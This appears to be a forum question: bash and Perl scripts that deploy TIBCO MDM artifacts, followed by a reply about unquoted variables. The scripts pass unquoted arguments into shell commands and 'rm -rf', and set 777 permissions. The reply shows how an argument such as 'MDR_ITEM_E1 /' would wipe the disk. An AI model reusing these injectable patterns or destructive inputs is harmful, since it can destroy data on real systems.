cp -rf /tibco/data/GRISSOM2/DEPLOYMENT_ARTIFACTS/common/MDR_ITEM_E1/DropZone/* $MQ_COMMON_DIR/$internal_name/DropZone/
echo "Copied DropZone"
sleep 1
else
echo "either folder doesn't exist in $internal_name or You have cancelled the copy opeeation for DropZone"
fi
echo "Do you want to copy EAI press Y to continue else N"
read eai
if [ "$eai" == 'Y' ]; then
echo "Copying EAI"
cp -rf /tibco/data/GRISSOM2/DEPLOYMENT_ARTIFACTS/common/MDR_ITEM_E1/EAI/* $MQ_COMMON_DIR/$internal_name/EAI/
echo "Copyied EAI"
sleep 1
else
echo "either folder doesn't exist in $internal_name or You have cancelled the copy opeeation for DropZone"
fi
else
echo "#$%#$%#$%#$%#$%&*^&*##$"
fi
cd $MQ_COMMON_DIR/$internal_name
echo "****** The following directories have been deployed to your Enterprise Internal directory ********"
echo " "
echo "======================================"
ls | tee -a
echo "======================================="
#change the permissions back to standard on the internal directory
#chmod -Rf 775 $MQ_COMMON_DIR/$internal_name
cd $MQ_COMMON_DIR/$internal_name
chmod -Rf 644 *
cd $MQ_COMMON_DIR/$internal_name
find . -type d -exec chmod 0755 {} \;
cd $MQ_COMMON_DIR/$internal_name
chmod -Rf 777 EAI
chmod -Rf 777 DropZone
chmod -Rf 777 distributedlock
echo "Permissions changed!"
echo "========================================"
echo " "
echo " "
echo " "
echo "%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%"
echo "Deployed resources successfully"
echo "%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%"
echo " "
echo " "
exit
Perl script:
#!/usr/bin/perl
use CIMDeploymentVaribles;
&main;
sub main()
{
print "\n Deployment Script \n\n\n";
#print "Options: Which Enviroment you want to Deploy\n 1.DEV1\n 2.DEV2\n 3.TEST1\n 4.TEST2\n 5.STAGE\n 6.PRODUCTION \n\n";
$dep_env = $ARGV[0];
$item_master = $ARGV[1];
$distribution_facility_lv = $ARGV[2];
$management_division_soi = $ARGV[3];
$altername_identification_mvl = $ARGV[4];
$entname = $ARGV[5];
$internal_name = $ARGV[6];
$SVN_COMMON_DIR_LOCATION = "/tibco/data/GRISSOM2/DEPLOYMENT_ARTIFACTS";
$SCRIPT_LOCATION = "$SVN_COMMON_DIR_LOCATION/build_deploy_scripts_kroger/deploy_script";
if ($dep_env eq 'DEV1' || $dep_env eq 'DEV2'|| $dep_env eq 'TEST1' || $dep_env eq 'TEST2' || $dep_env eq 'STAGE'|| $dep_env eq 'PRODUCTION' || $dep_env eq 'LOCALDEV1' || $dep_env eq 'MAHANADI'|| $dep_env eq 'DEV3' || $dep_env eq 'E2E')
{
print "\n Deployment on Environment:: $dep_env\n";
&Set_Environment_Variables($dep_env);
&display_variables($dep_env);
&Deploy_Common_dir_artifacts($dep_env);
}
else
{
print "\nWrong argument is passed\n";
print " \n Provide valid argument: DEV1 or DEV2 or TEST1 or TEST2 or STAGE or PRODUCTION\n\n";
exit;
}
}
sub display_variables()
{
print "\n Displaying Variables Start\n";
print "\n MQ_HOME on $_[0] :: $ENV_Variables{\"$_[0]\"}{'MQ_HOME'}\n";
print "\n MQ_COMMON_DIR on $_[0] :: $ENV_Variables{\"$_[0]\"}{'MQ_COMMON_DIR'}\n";
print "\n ENTERPRISE_INTERNAL_NAME in $_[0] :: $ENV_Variables{\"$_[0]\"}{'ENTERPRISE_INTERNAL_NAME'}\n";
print "\n SCRIPT_LOCATION in $SCRIPT_LOCATION\n";
print "\n SVN_COMMON_DIR_LOCATION in $SVN_COMMON_DIR_LOCATION\n";
print "\n Displaying Variables Ended \n";
}
sub Set_Environment_Variables()
{
print "\n Setting up environment Variables\n";
$ENV{"MQ_HOME"}="$ENV_Variables{\"$_[0]\"}{'MQ_HOME'}";
$ENV{"MQ_COMMON_DIR"}="$ENV_Variables{\"$_[0]\"}{'MQ_COMMON_DIR'}";
print "\nEnvironment Variables are set\n";
}
sub Deploy_Common_dir_artifacts()
{
print "\n Deploying common dir aftifacts for $_[0] environment \n";
print "\nDeploying common dir artifacts to specific enterprise ( $ENV_Variables{\"$_[0]\"}{'ENTERPRISE_INTERNAL_NAME'} ) \n";
print "Command: rm -rf `find $SVN_COMMON_DIR_LOCATION -type d -name .svn`";
system("rm -rf `find $SVN_COMMON_DIR_LOCATION -type d -name .svn`");
# Deploying forms
print "\n 1. Deploying forms \n";
print "\nExecuting::: cp $SVN_COMMON_DIR_LOCATION/common/$entname/forms/* $ENV_Variables{\"$_[0]\"}{'MQ_COMMON_DIR'}/$ENV_Variables{\"$_[0]\"}{'ENTERPRISE_INTERNAL_NAME'}/forms/\n";
system("cp $SVN_COMMON_DIR_LOCATION/common/$entname/forms/* $ENV_Variables{\"$_[0]\"}{'MQ_COMMON_DIR'}/$ENV_Variables{\"$_[0]\"}{'ENTERPRISE_INTERNAL_NAME'}/forms/");
# Deploying maps
print "\n 2. Deploying maps \n";
print "\nExecuting::: cp $SVN_COMMON_DIR_LOCATION/common/$entname/maps/* $ENV_Variables{\"$_[0]\"}{'MQ_COMMON_DIR'}/$ENV_Variables{\"$_[0]\"}{'ENTERPRISE_INTERNAL_NAME'}/maps/ \n";
system("cp $SVN_COMMON_DIR_LOCATION/common/$entname/maps/* $ENV_Variables{\"$_[0]\"}{'MQ_COMMON_DIR'}/$ENV_Variables{\"$_[0]\"}{'ENTERPRISE_INTERNAL_NAME'}/maps/");
# Deploying rulebase
print "\n 3. Deploying rulebase \n";
print "\nExecuting::: cp -r $SVN_COMMON_DIR_LOCATION/common/$entname/rulebase/* $ENV_Variables{\"$_[0]\"}{'MQ_COMMON_DIR'}/$ENV_Variables{\"$_[0]\"}{'ENTERPRISE_INTERNAL_NAME'}/rulebase/\n";
system("cp -r $SVN_COMMON_DIR_LOCATION/common/$entname/rulebase/* $ENV_Variables{\"$_[0]\"}{'MQ_COMMON_DIR'}/$ENV_Variables{\"$_[0]\"}{'ENTERPRISE_INTERNAL_NAME'}/rulebase/");
print "\n\n Executing ::: find $ENV_Variables{\"$_[0]\"}{'MQ_COMMON_DIR'}/$ENV_Variables{\"$_[0]\"}{'ENTERPRISE_INTERNAL_NAME'}/rulebase/* -type f -exec sed -i 's/$internal_name/$ENV_Variables{\"$_[0]\"}{'ENTERPRISE_INTERNAL_NAME'}/' {} \\;";
system("find $ENV_Variables{\"$_[0]\"}{'MQ_COMMON_DIR'}/$ENV_Variables{\"$_[0]\"}{'ENTERPRISE_INTERNAL_NAME'}/rulebase/* -type f -exec sed -i 's/$internal_name/$ENV_Variables{\"$_[0]\"}{'ENTERPRISE_INTERNAL_NAME'}/' {} \\;");
# Deploying workflow
print "\n 4. Deploying workflow \n";
print "\nExecuting::: cp -r $SVN_COMMON_DIR_LOCATION/common/$entname/workflow/* $ENV_Variables{\"$_[0]\"}{'MQ_COMMON_DIR'}/$ENV_Variables{\"$_[0]\"}{'ENTERPRISE_INTERNAL_NAME'}/workflow/\n";
system("cp -r $SVN_COMMON_DIR_LOCATION/common/$entname/workflow/* $ENV_Variables{\"$_[0]\"}{'MQ_COMMON_DIR'}/$ENV_Variables{\"$_[0]\"}{'ENTERPRISE_INTERNAL_NAME'}/workflow/");
print "\n\n Executing ::: find $ENV_Variables{\"$_[0]\"}{'MQ_COMMON_DIR'}/$ENV_Variables{\"$_[0]\"}{'ENTERPRISE_INTERNAL_NAME'}/workflow/* -type f -exec sed -i 's/MDR_NEW/$ENV_Variables{\"$_[0]\"}{'ENTERPRISE_INTERNAL_NAME'}/' {} \\;";
system("find $ENV_Variables{\"$_[0]\"}{'MQ_COMMON_DIR'}/$ENV_Variables{\"$_[0]\"}{'ENTERPRISE_INTERNAL_NAME'}/workflow/* -type f -exec sed -i 's/$internal_name/$ENV_Variables{\"$_[0]\"}{'ENTERPRISE_INTERNAL_NAME'}/' {} \\;");
# Deploying htmlprops
print "\n 6. Deploying htmlprops \n";
# print "\nExecuting::: cp $SVN_COMMON_DIR_LOCATION/common/$entname/htmlprops/* $ENV_Variables{\"$_[0]\"}{'MQ_COMMON_DIR'}/$ENV_Variables{\"$_[0]\"}{'ENTERPRISE_INTERNAL_NAME'}/htmlprops/\n";
#system("cp -rf $SVN_COMMON_DIR_LOCATION/common/$entname/htmlprops/* $ENV_Variables{\"$_[0]\"}{'MQ_COMMON_DIR'}/$ENV_Variables{\"$_[0]\"}{'ENTERPRISE_INTERNAL_NAME'}/htmlprops/");
# Deploying templates
print "\n 7. Deploying Templates \n";
print "\nExecuting::: cp $SVN_COMMON_DIR_LOCATION/common/$entname/templates/* $ENV_Variables{\"$_[0]\"}{'MQ_COMMON_DIR'}/$ENV_Variables{\"$_[0]\"}{'ENTERPRISE_INTERNAL_NAME'}/templates/\n";
system("cp $SVN_COMMON_DIR_LOCATION/common/$entname/templates/* $ENV_Variables{\"$_[0]\"}{'MQ_COMMON_DIR'}/$ENV_Variables{\"$_[0]\"}{'ENTERPRISE_INTERNAL_NAME'}/templates/");
# Deploying Schedular
print "\n 8. Deploying scheduler \n";
print "\nExecuting::: cp -r $SVN_COMMON_DIR_LOCATION/common/$entname/scheduler $ENV_Variables{\"$_[0]\"}{'MQ_COMMON_DIR'}/$ENV_Variables{\"$_[0]\"}{'ENTERPRISE_INTERNAL_NAME'}/\n";
#system("cp -r $SVN_COMMON_DIR_LOCATION/common/$entname/scheduler/* $ENV_Variables{\"$_[0]\"}{'MQ_COMMON_DIR'}/$ENV_Variables{\"$_[0]\"}{'ENTERPRISE_INTERNAL_NAME'}/scheduler/");
# Deploying Filewatcher
print "\n 9. Deploying Filewatcher \n";
print "\nExecuting::: cp $SVN_COMMON_DIR_LOCATION/config/FileWatcher.xml $ENV_Variables{\"$_[0]\"}{'MQ_HOME'}/config/\n";
system("cp $SVN_COMMON_DIR_LOCATION/config/FileWatcher.xml $ENV_Variables{\"$_[0]\"}{'MQ_HOME'}/config/");
# Deploying Custom Properties
# print "\n 5. Deploying Custom Properties \n";
# print "\nExecuting::: cp -r $SVN_COMMON_DIR_LOCATION/custom/* $ENV_Variables{\"$_[0]\"}{'MQ_HOME'}/custom/\n";
# system("cp -r $SVN_COMMON_DIR_LOCATION/custom/* $ENV_Variables{\"$_[0]\"}{'MQ_HOME'}/custom/");
# Deploying dynservices
print "\n 10. Deploying dynservices \n";
print "\nExecuting::: cp -r $SVN_COMMON_DIR_LOCATION/dynservices $ENV_Variables{\"$_[0]\"}{'MQ_HOME'}/\n";
#system("cp -r $SVN_COMMON_DIR_LOCATION/dynservices $ENV_Variables{\"$_[0]\"}{'MQ_HOME'}/");
# Deploying InputMap
print "\n 12. Deploying InputMap \n";
print "\nExecuting::: cp -r $SVN_COMMON_DIR_LOCATION/inputmap/* $ENV_Variables{\"$_[0]\"}{'MQ_HOME'}/inputmap/\n";
#system("cp -r $SVN_COMMON_DIR_LOCATION/schema/* $ENV_Variables{\"$_[0]\"}{'MQ_HOME'}/schema/");
system("cp -r $SVN_COMMON_DIR_LOCATION/common/$entname/inputmap/* $ENV_Variables{\"$_[0]\"}{'MQ_COMMON_DIR'}/$ENV_Variables{\"$_[0]\"}{'ENTERPRISE_INTERNAL_NAME'}/inputmap/");
# Deploying DistributeLock
print "\n 13. Deploying DistributedLock \n";
print "\nExecuting::: cp -r $SVN_COMMON_DIR_LOCATION/distributedlock/* $ENV_Variables{\"$_[0]\"}{'MQ_HOME'}/distributedlock/\n";
#system("cp -r $SVN_COMMON_DIR_LOCATION/schema/* $ENV_Variables{\"$_[0]\"}{'MQ_HOME'}/schema/");
system("cp -r $SVN_COMMON_DIR_LOCATION/common/$entname/distributedlock/* $ENV_Variables{\"$_[0]\"}{'MQ_COMMON_DIR'}/$ENV_Variables{\"$_[0]\"}{'ENTERPRISE_INTERNAL_NAME'}/distributedlock/");
}
Failure: print "\nExecuting::: cp $SVN_COMMON_DIR_LOCATION/common/$entname/forms/* $ENV_Variables{\"$_[0]\"}{'MQ_COMMON_DIR'}/$ENV_Variables{\"$_[0]\"}{'ENTERPRISE_INTERNAL_NAME'}/forms/\n";
As $entname is not picked up it's not copying expected files.
You really need to start quoting your scripts propertly:
rm -rf $BUILD_ROOT/DEPLOYMENT_ARTIFACTS/common/$entname
Imagine I enter MDR_ITEM_E1 /. The command would now delete all the files on your disk.